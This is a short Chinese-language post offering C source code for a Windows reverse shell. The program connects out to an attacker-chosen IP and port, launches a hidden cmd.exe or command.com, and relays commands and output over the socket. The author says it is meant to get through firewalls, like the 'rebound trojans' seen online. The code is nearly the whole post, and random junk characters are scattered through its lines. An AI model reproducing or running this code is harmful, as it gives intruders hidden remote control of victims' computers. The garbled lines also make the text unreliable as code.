Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 Z- a
  
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/* ============================== &wY$G! P  
Rebound port in Windows NT >w7KOVbN3  
By wind,2006/7 R)*DkL!  
===============================*/ R{bG`C8.d  
#include x$o^;2Z  
#include =$)M-;6  
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#pragma comment(lib,"wsock32.lib") ,>b>I#{  
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void OutputShell(); <,GVrVH=t"  
SOCKET sClient; .?QYqGcG  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n";  P33xt~  
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void main(int argc,char **argv) @>VVB{1@,]  
{ jMTM:~0N  
WSADATA stWsaData; , p~1fB-/  
int nRet; o.fqJfpj  
SOCKADDR_IN stSaiClient,stSaiServer; KfBT'6t  
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if(argc != 3) <C(o0u&/  
{ 0stc$~~v  
printf("Useage:\n\rRebound DestIP DestPort\n"); V+lF|CZb5  
return; ML\>TDt  
} rq8 d}wj  
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WSAStartup(MAKEWORD(2,2),&stWsaData); P* `*^r3  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); '-RacNY  
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stSaiClient.sin_family = AF_INET; 1F`jptVQ\G  
stSaiClient.sin_port = htons(0); Wj(#!\ 7F  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); I@9'd$YY  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) m]AT-]*f  
{ 0(eaVi-%D  
printf("Bind Socket Failed!\n"); LO{Axf%  
return; [#q>Aq$11  
} <8^x Mjc  
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stSaiServer.sin_family = AF_INET; pzz*>Y  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); byM-$l  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); @ps(3~?7  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) jhm??Af  
{ Y"MHs0O5>  
printf("Connect Error!"); MWh Y&I+  
return; @9B*V~ <  
} U;MXiE3D  
OutputShell(); 1Hr}n6s  
} clB K  
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void OutputShell() '*b]$5*p  
{ c;$4}U4  
char szBuff[1024]; !=YKfzE  
SECURITY_ATTRIBUTES stSecurityAttributes;
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OSVERSIONINFO stOsversionInfo; <:}nd:l1  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; tR|dnC4U  
STARTUPINFO stStartupInfo; ;XurH%Mg  
char *szShell; -d\sKc  
PROCESS_INFORMATION stProcessInformation; PW5]+ |#  
unsigned long lBytesRead; ?q:|vt  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); pd|KIs%jl  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); "o&8\KSs  
stSecurityAttributes.lpSecurityDescriptor = 0; @KQ.tF*  
stSecurityAttributes.bInheritHandle = TRUE; $eYL|?P50h  
;miif  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); t*gZcw5 r  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); {]T?)!Vm  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 8W\yM;'  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ??,[-Oi  
stStartupInfo.wShowWindow = SW_HIDE; SiLW[JXd  
stStartupInfo.hStdInput = hReadPipe; )L:zr#  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; O[Vet/^)  
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GetVersionEx(&stOsversionInfo);
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switch(stOsversionInfo.dwPlatformId) =-h^j  
{ Y![Q1D!  
case 1: n)e2?  
szShell = "command.com"; 4S<M9A}  
break; wjA wJOw|  
default: k]~o=MLmj  
szShell = "cmd.exe"; _K^Q]V[nZ  
break; q+?<cjVg  
} oD)]4|  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); @J[@Pu O  
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send(sClient,szMsg,77,0); 1q6)R/P  
while(1) mZ+!8$1X  
{ ABWn49c.  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); im<bo Mv  
if(lBytesRead) 4t, 2H"M  
{ 7>N~l  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ^A$=6=CX  
send(sClient,szBuff,lBytesRead,0); 8q^}AT<C  
} fN&,.UB^p  
else G:AA>t  
{ >y3FU1w5d  
lBytesRead=recv(sClient,szBuff,1024,0); QAs)zl0  
if(lBytesRead<=0) break; a(gXvgrf[  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); '`>%RZ]  
} Xw?DN*`L  
} EA"hie7  
1}(22Q;  
return; xl&@g)Jj  
}